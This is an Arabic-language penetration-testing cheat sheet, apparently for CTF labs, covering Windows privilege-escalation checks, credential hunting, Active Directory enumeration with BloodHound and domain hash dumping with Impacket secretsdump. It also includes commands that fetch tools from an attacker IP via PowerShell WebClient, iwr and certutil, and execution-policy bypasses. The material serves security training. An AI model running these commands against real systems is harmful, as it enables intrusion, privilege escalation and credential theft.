icacls "C:\Program Files\<SERVICE_NAME>\service.exe"
متى تستخدمه: عندما تعرف Binary Path لخدمة وتريد اختبار Writable Service Binary Misconfiguration.
أين تستخدمه: Windows الهدف.
مثال استخدام: sc qc أظهر أن خدمة تعمل من C:\Program Files\Acme\service.exe.
icacls "C:\Program Files\Acme\service.exe"
#فحص Startup Folder
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
متى تستخدمه: أثناء PrivEsc Enumeration عندما تريد معرفة هل Startup Folder قابل للكتابة لحسابك.
أين تستخدمه: Windows الهدف.
مثال استخدام: تبحث عن Misconfiguration تجعل برنامجًا يبدأ عند تسجيل دخول مستخدم أعلى صلاحية.
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
#فحص Task Scripts
icacls C:\Tasks\*.bat
icacls C:\Tasks\*.ps1
متى تستخدمه: عندما توجد مجموعة Scripts داخل مجلد Tasks وتريد فحص ACLs بسرعة.
أين تستخدمه: Windows الهدف.
مثال استخدام: schtasks أظهر Scripts داخل C:\Tasks وتريد معرفة أيها Writable.
icacls C:\Tasks\*.ps1
#Windows Processes
#عرض Processes
tasklist
متى تستخدمه: لمعرفة ما يعمل حاليًا وربط التطبيقات بالخدمات أو الملفات المكتشفة.
أين تستخدمه: Windows الهدف.
مثال استخدام: وجدت Config لتطبيق وتريد التأكد هل Process الخاص به يعمل الآن.
tasklist
#تفاصيل Processes
tasklist /v
متى تستخدمه: عندما تحتاج تفاصيل أكثر من القائمة الأساسية مثل Session أو Window Title.
أين تستخدمه: Windows الهدف.
مثال استخدام: يوجد أكثر من Process بنفس الاسم وتريد Context إضافي للتفريق بينها.
tasklist /v
#إنهاء Process بالـPID
taskkill /PID <PID> /F
متى تستخدمه: فقط عندما يحتاج التحدي إيقاف Process محدد وتفهم أثر ذلك.
أين تستخدمه: Windows الهدف بصلاحية تسمح بقتل العملية.
مثال استخدام: Lab خاص بالخدمات يطلب إعادة تشغيل تطبيق تجريبي يدويًا بعد تعديل Config.
taskkill /PID 4120 /F
#إنهاء Process بالاسم
taskkill /IM <PROCESS_NAME> /F
متى تستخدمه: عندما تعرف Image Name وتريد إنهاء Process بالاسم بدل PID.
أين تستخدمه: Windows الهدف.
مثال استخدام: داخل Lab مع Process تجريبي اسمه demoapp.exe.
taskkill /IM demoapp.exe /F
#Windows Services
#عرض الخدمات
sc query
متى تستخدمه: في Service Enumeration لمعرفة الخدمات وحالتها.
أين تستخدمه: Windows الهدف.
مثال استخدام: تبحث عن Third Party Service قد تستخدم Binary أو Config يمكن لحسابك تعديلها.
sc query
#تفاصيل خدمة
sc qc <SERVICE_NAME>
متى تستخدمه: بعد اختيار Service مهمة وتريد معرفة Binary Path وStart Account وStart Type.
أين تستخدمه: Windows الهدف.
مثال استخدام: وجدت Service باسم BackupService وتريد معرفة الملف الذي تشغله.
sc qc BackupService
#حالة خدمة محددة
sc query <SERVICE_NAME>
متى تستخدمه: عندما تريد معرفة هل الخدمة Running أو Stopped قبل اختبار أي تغيير داخل Lab.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة حالة BackupService قبل محاولة Restart في سيناريو تدريبي.
sc query BackupService
#تشغيل وإيقاف خدمة
sc start <SERVICE_NAME>
sc stop <SERVICE_NAME>
متى تستخدمه: عندما تملك صلاحية التحكم بالخدمة ويحتاج السيناريو Restart لتطبيق تغيير مشروع داخل المختبر.
أين تستخدمه: Windows الهدف.
مثال استخدام: عدلت Config لخدمة تجريبية وتحتاج إعادة تشغيلها حتى تقرأ الإعداد الجديد.
sc stop BackupService
sc start BackupService
#تغيير Binary Path لخدمة
sc config <SERVICE_NAME> binpath= "<PATH>"
متى تستخدمه: في Lab خاص بـService Permissions عندما تكون المهمة إثبات أن حسابك يستطيع تعديل Configuration للخدمة.
أين تستخدمه: Windows الهدف بصلاحية SERVICE_CHANGE_CONFIG المناسبة.
مثال استخدام: اختبار تدريبي يطلب تغيير Service تجريبية لتشغيل Binary آمن تملكه داخل المختبر.
sc config DemoService binpath= "C:\Lab\demo.exe"
#Windows Credential Hunting
#AutoLogon Registry
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
متى تستخدمه: أثناء Credential Enumeration للبحث عن AutoLogon Configuration.
أين تستخدمه: Windows الهدف.
مثال استخدام: الجهاز يبدو Kiosk أو Service Host وتريد معرفة هل هناك AutoLogon User محدد.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
#PuTTY Sessions
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
متى تستخدمه: عندما تعرف أن PuTTY مستخدم على الجهاز وتريد Hostnames أو إعدادات Sessions محفوظة.
أين تستخدمه: Windows الهدف ضمن Registry المستخدم الحالي.
مثال استخدام: وجدت putty.exe في الجهاز وتريد معرفة الأنظمة التي يتصل بها المستخدم.
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
#البحث عن كلمة password في الملفات
findstr /si password *.txt *.xml *.ini *.config
متى تستخدمه: عندما تكون داخل مجلد تطبيق أو Backup وتريد بحثًا أوليًا عن Configs تحتوي كلمة password.
أين تستخدمه: Windows الهدف من المجلد الذي تريد البحث بداخله.
مثال استخدام: داخل C:\inetpub\wwwroot توجد ملفات XML وConfig وتريد فلترة سريعة.
cd C:\inetpub\wwwroot
findstr /si password *.xml *.config
#البحث عن Unattend Files
dir /s *unattend.xml
dir /s *sysprep.xml
متى تستخدمه: أثناء البحث عن بقايا Deployment Files في Windows CTF.
أين تستخدمه: Windows الهدف من Drive أو مجلد مناسب.
مثال استخدام: Machine قديمة أعدت من Image وتريد التحقق هل تركت ملفات Installation غير محذوفة.
cd C:\
dir /s *unattend.xml
#Saved Credentials
cmdkey /list
متى تستخدمه: عندما تريد معرفة Targets وUsers المحفوظة في Credential Manager.
أين تستخدمه: Windows الهدف بالحساب الحالي.
مثال استخدام: يوجد Shortcut إلى Server داخلي وتريد معرفة هل للحساب Credentials محفوظة له.
cmdkey /list
#Windows Privilege Escalation Checks
#AlwaysInstallElevated في HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
متى تستخدمه: أثناء فحص Misconfiguration الخاصة بـWindows Installer.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد معرفة هل Machine Policy تفعل AlwaysInstallElevated قبل فحص قيمة المستخدم أيضًا.
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#AlwaysInstallElevated في HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
متى تستخدمه: بعد فحص HKLM لأن السيناريو المهم عادة يحتاج تفعيل القيمة في الـMachine والـUser معًا.
أين تستخدمه: Windows الهدف بالحساب الحالي.
مثال استخدام: قيمة HKLM ظهرت مفعلة وتريد التحقق من الطرف الثاني قبل اعتبار Finding مهمة.
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
#عرض Scheduled Tasks بتفاصيلها
schtasks /query /fo LIST /v
متى تستخدمه: أثناء PrivEsc Enumeration لمعرفة ما الذي يعمل دوريًا وبأي Account ومن أي Path.
أين تستخدمه: Windows الهدف.
مثال استخدام: تبحث عن Task تعمل كـSYSTEM وتشغل Script يستطيع حسابك الكتابة عليه.
schtasks /query /fo LIST /v
#البحث الأولي عن Auto Services عبر WMIC
wmic service get name,pathname,displayname,startmode | findstr /i auto
متى تستخدمه: عندما تريد قائمة خدمات Automatic مع مساراتها لمراجعة Unquoted Paths أو Permissions.
أين تستخدمه: Windows الهدف إذا كان WMIC متاحًا.
مثال استخدام: تبحث عن Third Party Service تبدأ تلقائيًا ومسارها يحتوي Spaces.
wmic service get name,pathname,displayname,startmode | findstr /i auto
#PowerUp Checks
Invoke-AllChecks
متى تستخدمه: بعد تحميل PowerUp داخل PowerShell Session في مختبر مصرح به وتريد Enumeration آليًا لمجموعة Misconfigurations.
أين تستخدمه: على Windows الهدف داخل PowerShell بعد Import أو Dot Source للسكريبت.
مثال استخدام: أنهيت الفحص اليدوي الأساسي وتريد مقارنة نتائجك مع Checks أوتوماتيكية.
Invoke-AllChecks
#Active Directory
#معلومات Workstation
net config workstation
متى تستخدمه: عندما تريد معرفة Computer Name والدومين أو Workgroup بسرعة.
أين تستخدمه: Windows الهدف.
مثال استخدام: حصلت على Shell ولا تعرف هل الجهاز Domain Joined.
net config workstation
#Domain Controllers
nltest /dclist:<DOMAIN>
متى تستخدمه: عندما تعرف اسم الدومين وتريد قائمة Domain Controllers.
أين تستخدمه: Windows Domain Joined.
مثال استخدام: الدومين corp.local وتريد معرفة اسم الـDC قبل BloodHound أو LDAP Enumeration.
nltest /dclist:corp.local
#Domain Trusts
nltest /domain_trusts
متى تستخدمه: عندما تريد معرفة هل الدومين الحالي يملك Trust Relationships مع Domains أخرى.
أين تستخدمه: Windows داخل بيئة Active Directory.
مثال استخدام: التحدي يحتوي أكثر من Domain وتريد تحديد العلاقات المتاحة قبل توسيع Enumeration.
nltest /domain_trusts
#عرض Shares على جهاز بعيد
net view \\<TARGET> /all
متى تستخدمه: عندما تريد معرفة SMB Shares التي يستطيع حسابك رؤيتها على Host بعيد.
أين تستخدمه: Windows داخل الشبكة نفسها أو عبر Route يسمح بالوصول إلى SMB.
مثال استخدام: اكتشفت Server باسم FILE01 وتريد معرفة Shares المتاحة عليه.
net view \\FILE01 /all
#Map Share إلى Drive Letter
net use Z: \\<TARGET>\<SHARE>
متى تستخدمه: عندما تريد تصفح Share بعيد كأنه Drive محلي.
أين تستخدمه: Windows Client الذي يملك Network Access وCredentials مناسبة.
مثال استخدام: Share باسم Public على FILE01 وتريد البحث داخله بسهولة.
net use Z: \\FILE01\Public
#حذف Mapping
net use Z: /delete
متى تستخدمه: بعد الانتهاء من Share أو عندما تريد إعادة الاتصال بـCredentials مختلفة.
أين تستخدمه: على نفس Windows Client الذي أنشأ الـMapping.
مثال استخدام: انتهيت من مراجعة Z: وتريد تنظيف Session قبل اختبار Share آخر.
net use Z: /delete
#BloodHound
#Collection شامل
bloodhound-python --zip -c All -d <DOMAIN> -ns <DNS_IP> -dc <DC> -u <USER> -p <PASS>
متى تستخدمه: عندما تملك Domain Credentials وتريد جمع علاقات AD لتحليلها داخل BloodHound.
أين تستخدمه: غالبًا على Kali أو Linux attacker Host المتصل بشبكة المختبر والقادر على Resolve الدومين والـDC.
مثال استخدام: لديك حساب student في corp.local والـDC اسمه DC01.corp.local وDNS هو 10.10.10.10.
bloodhound-python --zip -c All -d corp.local -ns 10.10.10.10 -dc DC01.corp.local -u student -p '<PASS>'
#BloodHound باستخدام DNS TCP
bloodhound-python -u '<USER>' -p '<PASS>' -d <DOMAIN> -dc <DC> -ns <DNS_IP> --dns-tcp -c All --zip
متى تستخدمه: عندما تواجه مشاكل DNS عبر UDP أو بيئة المختبر تحتاج Queries عبر TCP.
أين تستخدمه: على Linux attacker Host.
مثال استخدام: bloodhound-python يفشل في Resolve رغم أن DNS Server صحيح وتريد تجربة TCP.
bloodhound-python -u 'student' -p '<PASS>' -d corp.local -dc DC01.corp.local -ns 10.10.10.10 --dns-tcp -c All --zip
#Impacket secretsdump
secretsdump.py -outputfile domain_hashes -just-dc <DOMAIN>/<USER>@<DC_IP>
متى تستخدمه: داخل AD CTF عندما تملك Account وصلاحيات تسمح فعليًا بقراءة Domain Replication Data أو تنفيذ السيناريو المطلوب في المختبر.
أين تستخدمه: عادة على Linux attacker Host الذي يحتوي Impacket ويستطيع الوصول إلى Domain Controller.
مثال استخدام: حساب مختبري حصل على Replication Rights وتريد التحقق من أثر هذه الصلاحية على DC عنوانه 10.10.10.10.
secretsdump.py -outputfile domain_hashes -just-dc corp.local/replication-user@10.10.10.10
#RDP من Linux باستخدام xfreerdp3
xfreerdp3 /v:<TARGET_IP> /u:<USER> /p:'<PASS>' /dynamic-resolution +clipboard
متى تستخدمه: عندما تملك Credentials صالحة لـRDP والمنفذ 3389 متاح أو الخدمة قابلة للوصول.
أين تستخدمه: على Linux attacker Host لديه FreeRDP.
مثال استخدام: لديك حساب مختبري student على Windows Host بعنوان 10.10.11.25.
xfreerdp3 /v:10.10.11.25 /u:student /p:'<PASS>' /dynamic-resolution +clipboard
#Windows File Transfer
#PowerShell WebClient
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://<YOUR_IP>/<FILE>','C:\Temp\<FILE>')"
متى تستخدمه: عندما PowerShell متاح على Windows الهدف وتريد تنزيل ملف من HTTP Server.
أين تستخدمه: على Windows الهدف.
مثال استخدام: تريد تنزيل tool.exe من جهازك 10.10.14.5:8000 إلى C:\Temp.
powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.5:8000/tool.exe','C:\Temp\tool.exe')"
#Invoke-WebRequest
powershell -c "iwr -uri http://<YOUR_IP>/<FILE> -outfile C:\Temp\<FILE>"
متى تستخدمه: كطريقة PowerShell أبسط لتنزيل ملف عندما Invoke-WebRequest متاح.
أين تستخدمه: Windows الهدف.
مثال استخدام: تريد تنزيل Script تدريبي إلى C:\Temp.
powershell -c "iwr -uri http://10.10.14.5:8000/enum.ps1 -outfile C:\Temp\enum.ps1"
#Certutil Download
certutil -urlcache -f http://<YOUR_IP>/<FILE> C:\Temp\<FILE>
متى تستخدمه: عندما لا تناسبك أدوات PowerShell ويكون certutil متاحًا في المختبر.
أين تستخدمه: Windows الهدف.
مثال استخدام: Shell الحالية CMD فقط وتريد تنزيل ملف من HTTP Server لديك.
certutil -urlcache -f http://10.10.14.5:8000/tool.exe C:\Temp\tool.exe
#Copy من SMB Share
copy \\<YOUR_IP>\<SHARE>\<FILE> C:\Temp\
متى تستخدمه: عندما لديك SMB Share يمكن للهدف الوصول إليه وتريد نسخ ملف بدون HTTP.
أين تستخدمه: Windows الهدف.
مثال استخدام: جهازك يقدم Share باسم tools ويحتوي enum.exe.
copy \\10.10.14.5\tools\enum.exe C:\Temp\
#PowerShell Execution Policy
#تشغيل PowerShell بPolicy Bypass للعملية
powershell -ExecutionPolicy Bypass
متى تستخدمه: داخل Lab عندما تمنع Execution Policy تشغيل Script تدريبي وتريد Scope مؤقتًا للعملية الجديدة.
أين تستخدمه: Windows الهدف أو جهاز Windows المختبري.
مثال استخدام: لديك enum.ps1 مصرح به لكن Session الحالية تمنع تشغيله بسبب Policy.
powershell -ExecutionPolicy Bypass
#الشكل المختصر
powershell -ep bypass
متى تستخدمه: عندما تريد نفس السلوك بأمر أقصر في Terminal تفاعلي.
أين تستخدمه: Windows.
مثال استخدام: تكتب الأمر يدويًا داخل Shell وتريد اختصار ExecutionPolicy.
powershell -ep bypass
#تغيير Policy للمستخدم الحالي
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
متى تستخدمه: فقط عندما يتطلب Lab تغيير Policy للمستخدم الحالي بدل استخدام Process Scope مؤقت.
أين تستخدمه: PowerShell على Windows ضمن الحساب الحالي.
مثال استخدام: مختبر إدارة PowerShell يطلب اختبار الفرق بين Scopes المختلفة للـExecution Policy.
Set-ExecutionPolicy Unrestricted -Scope CurrentUser
#WinRM وRDP من Windows
#تنفيذ Command بعيد عبر winrs
winrs -r:<TARGET> -u:<USER> -p:<PASS> ipconfig
متى تستخدمه: عندما WinRM مفعّل والحساب لديه صلاحية Remote Management على الجهاز الهدف.
أين تستخدمه: من Windows Host يستطيع الوصول إلى WinRM على الجهاز البعيد.
مثال استخدام: لديك Credentials لمستخدم Remote Management وتريد اختبار الوصول بتنفيذ ipconfig فقط.
winrs -r:SERVER01 -u:corp\student -p:<PASS> ipconfig
#تهيئة WinRM
winrm quickconfig
متى تستخدمه: في Lab إداري عندما تكون المهمة إعداد WinRM محليًا أو التحقق من Config الأساسية.
أين تستخدمه: على Windows الذي تريد تهيئة WinRM عليه وبصلاحيات مناسبة.
مثال استخدام: مختبر Windows Administration يطلب تفعيل الإدارة البعيدة على VM تجريبية.
winrm quickconfig
#فتح Remote Desktop Client
mstsc /v:<TARGET>
متى تستخدمه: عندما تعمل من Windows وتريد فتح RDP Session إلى جهاز بعيد.
أين تستخدمه: على Windows Client.
مثال استخدام: RDP متاح على SERVER01 ولديك حساب مصرح له بالدخول.
mstsc /v:SERVER01
